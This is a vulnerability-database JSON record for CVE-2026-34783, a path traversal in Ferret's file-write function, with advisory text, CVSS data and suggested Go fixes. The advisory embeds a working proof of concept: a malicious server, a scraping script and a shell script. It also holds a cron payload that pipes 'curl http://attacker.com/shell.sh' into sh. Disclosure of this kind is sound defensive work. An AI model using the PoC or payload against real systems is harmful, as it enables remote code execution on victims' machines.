{"id":"GHSA-j6v5-g24h-vg4j","revision":null,"records":[{"revision":"2c75a368c1584aa593b394a4a75c3bf0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34783","aliases":[],"title":"Ferret has a Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites","description":"Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4.","state":0,"publishedAt":"2026-04-06T16:04:24.959+00:00","modifiedAt":"2026-04-07T14:12:22.159+00:00","affected":[{"ecosystem":"Vendor product","name":"ferret","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"MontFerret\",\n                    \"product\": \"ferret\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.0-alpha.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j","https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34783","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34783","identifiers":["CVE-2026-34783"]},"retained":false,"historicalAffected":[]},{"revision":"f6347eab2e7f47cd99a4bc8801a147e6","observedAt":"2026-10-25T08:17:35.884+00:00","statement":{"source":"nvd","id":"CVE-2026-34783","aliases":[],"title":"Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of th…","description":"Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4.","state":0,"publishedAt":"2026-04-06T17:17:10.43+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917","https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34783","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-73"],"productCriteria":["cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*","cpe:2.3:a:montferret:ferret:2.0.0:alpha1:*:*:*:go:*:*","cpe:2.3:a:montferret:ferret:2.0.0:alpha2:*:*:*:go:*:*","cpe:2.3:a:montferret:ferret:2.0.0:alpha3:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-06T17:17:10.430","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34783","identifiers":["CVE-2026-34783"]},"retained":false,"historicalAffected":[]},{"revision":"fdac16e488364d98833f8490aa38fda7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-j6v5-g24h-vg4j","aliases":["CVE-2026-34783","GO-2026-5452"],"title":"Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites","description":"## Summary\n\nA path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n  {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n  {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    IO::FS::WRITE(path, TO_BINARY(article.content))\n    RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/<name>` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/<name>.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/api/articles\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            payload = [\n                {\"name\": \"legit-article\",\n                 \"content\": \"This is a normal article.\"},\n                {\"name\": \"../../tmp/pwned\",\n                 \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n                            \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n            ]\n            self.wfile.write(json.dumps(payload).encode())\n        else:\n            self.send_response(404)\n            self.end_headers()\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n    print(\"Listening on :9444\")\n    server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    LET data = TO_BINARY(article.content)\n    IO::FS::WRITE(path, data)\n    RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] && (cd \"$REPO_ROOT\" && go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2>/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n    echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n    cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n    Contents:\n    ATTACKER_CONTROLLED_CONTENT\n    # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn't contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n    cleaned := filepath.Clean(userPath)\n    if strings.Contains(cleaned, \"..\") {\n        return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n    }\n    return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n    absBase, _ := filepath.Abs(base)\n    full := filepath.Join(absBase, filepath.Clean(userPath))\n    resolved, err := filepath.EvalSymlinks(full)\n    if err != nil {\n        return \"\", err\n    }\n    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n    }\n    return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.","state":0,"publishedAt":"2026-04-01T23:37:29+00:00","modifiedAt":"2026-07-24T19:11:22.1545848+00:00","affected":[{"ecosystem":"Go","name":"github.com/MontFerret/ferret/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.0-alpha.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/MontFerret/ferret","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"0.18.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j","https://nvd.nist.gov/vuln/detail/CVE-2026-34783","https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917","https://github.com/MontFerret/ferret"],"sourceUrl":"https://github.com/advisories/GHSA-j6v5-g24h-vg4j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j6v5-g24h-vg4j","identifiers":["GHSA-j6v5-g24h-vg4j","CVE-2026-34783","GO-2026-5452"]},"retained":false,"historicalAffected":[]},{"revision":"a58b8f845566467ba01cee1285ae1d9e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5452","aliases":["CVE-2026-34783","GHSA-j6v5-g24h-vg4j"],"title":"Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write in github.com/MontFerret/ferret","description":"Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write in github.com/MontFerret/ferret","state":0,"publishedAt":"2026-07-24T18:35:55+00:00","modifiedAt":"2026-07-24T19:00:22.9106677+00:00","affected":[{"ecosystem":"Go","name":"github.com/MontFerret/ferret/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.0-alpha.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j","https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5452","license":"OSV · upstream source license applies","key":"osv:GO-2026-5452","identifiers":["GO-2026-5452","CVE-2026-34783","GHSA-j6v5-g24h-vg4j"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T09:13:13.7698329+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T09:13:13.7698329+00:00","lastSuccessAt":"2026-10-26T09:13:14.1014039+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:14.1014063+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-4dbc06e87b01cba3b2ae9184ee52a2806073d7be38fe130cc215e21c2dd243d1","complete":true,"records":414101,"lastAttemptAt":"2026-10-26T09:13:10.3748977+00:00","lastSuccessAt":"2026-10-26T09:13:10.3513809+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:10.3748977+00:00","snapshotPublishedAt":"2026-10-26T08:35:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T09:13:23.1227723+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T09:13:13.7698329+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T09:13:13.7698329+00:00","lastSuccessAt":"2026-10-26T09:13:19.6053265+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:19.605328+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T09:13:20.3988442+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T09:13:13.3411119+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:13.3411119+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T09:13:12.027214+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:12.027214+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T09:13:13.6663559+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:13.6663559+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T09:13:12.9372876+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T09:13:12.9372876+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}